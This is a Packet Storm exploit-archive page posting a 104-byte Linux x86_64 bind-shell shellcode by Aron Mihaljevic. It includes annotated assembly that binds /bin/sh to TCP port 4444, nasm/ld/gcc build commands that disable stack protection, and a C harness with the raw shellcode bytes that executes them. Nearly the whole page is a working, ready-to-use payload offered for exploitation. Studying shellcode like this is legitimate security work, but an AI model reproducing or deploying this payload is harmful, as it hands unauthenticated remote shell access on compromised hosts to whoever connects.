exploit the possibilities

Linux/x86_64 TCP/4444 Bindshell Shellcode

Linux/x86_64 TCP/4444 Bindshell Shellcode
Posted Jun 10, 2019
Authored by Aron Mihaljevic

104 bytes small Linux/x86_64 shellcode that binds /bin/sh to TCP/4444.

tags | tcp, shellcode
systems | linux
MD5 | a20f533f17e803a65d3c29e06caff338

Linux/x86_64 TCP/4444 Bindshell Shellcode

Change Mirror Download
;Title: Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) (104 bytes)
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length: 104 bytes
;github = https://github.com/STARRBOY
;test shellcode = after you run the shellcode, open another terminal and run "netcat -vv 0.0.0.0 4444"


================== ASSEMBLY ========================================

global _start


section .text

_start:



;create_socket
;int socket(AF_INET, SOCK_STREAM, 0);

push 41 ;sys_socket
pop rax
push 2 ;AF_INET
pop rdi
push 1 ;SOCK_STREAM
pop rsi
xor rdx, rdx
syscall

;save the return value for future use
xchg rdi, rax


; sin_zero: 0
; sin_addr.s_addr: INADDR_ANY = 0
; sin_port: 4444
; sin_family: AF_INET = 2

push 2 ;sin_family = AF_INET
mov word [rsp + 2], 0x5c11 ;port = 4444
push rsp
pop rsi




bind:
;int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);

push 49 ;sys_bind
pop rax
push rsp
pop rsi ;sockaddr stack pointer
push 16 ;sizeof sockaddr
pop rdx
syscall


listen:
;int listen(int sockfd, int backlog);

push 50 ;sys_listen
pop rax
push 1
pop rsi ;backlog = number of clients = 1
syscall


accept:
;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);




push 43 ;sys_accept
pop rax
sub rsp, 16 ;size of the structure on the stack
push rsp
pop rsi ;struct sockaddr
push 16 ;length of the address
push rsp ;stack pointer for struct size
pop rdx
syscall


xchg r10, rax ;save client socket in r10, since we won't use that register for any other operation


close:
;int close(int fd);

push 3 ;sys_close
pop rax
push rax ;save 3 on the stack for rsi in dup2
syscall


xchg rdi, r10 ;client socket as first parameter for dup2
pop rsi ;parameter for dup2 = 3

dup2loop:

; int dup2(int oldfd, int newfd);

push 33 ;sys_dup2
pop rax
dec rsi
syscall
loopnz dup2loop



spawn_shell:

;int execve(const char *filename, char *const argv[],char *const envp[]);

xor rsi, rsi ;clear rsi
push rsi ;push null on the stack
mov rdi, 0x68732f2f6e69622f ;/bin//sh in reverse order
push rdi
push rsp
pop rdi ;stack pointer to /bin//sh
mov al, 59 ;sys_execve
cdq ;sign extend of eax
syscall






=======Generate Shellcode==========================================
nasm -felf64 tcp_bind_shell.nasm -o tcp_bind_shell.o
ld tcp_bind_shell.o -o tcp_bind_shell


=========generate C program to exploit=============================
gcc -fno-stack-protector -z execstack bind.c -o bind


======================C program=====================================

#include <stdio.h>
#include <string.h>

unsigned char shellcode[]=\
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x48\x31\xd2\x0f\x05"
"\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x11\x5c\x54\x5e\x6a"
"\x31\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x32\x58\x6a\x01"
"\x5e\x0f\x05\x6a\x2b\x58\x48\x83\xec\x10\x54\x5e\x6a\x10"
"\x54\x5a\x0f\x05\x49\x92\x6a\x03\x58\x50\x0f\x05\x49\x87"
"\xfa\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\xe0\xf6\x48\x31"
"\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54"
"\x5f\xb0\x3b\x99\x0f\x05";


int main(){

printf("length of your shellcode is: %d\n", (int)strlen(shellcode));

int (*ret)() = (int(*)())shellcode;

ret();
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    28 Files
  • 2
    Nov 2nd
    1 Files
  • 3
    Nov 3rd
    1 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    19 Files
  • 6
    Nov 6th
    65 Files
  • 7
    Nov 7th
    22 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    1 Files
  • 10
    Nov 10th
    1 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    47 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close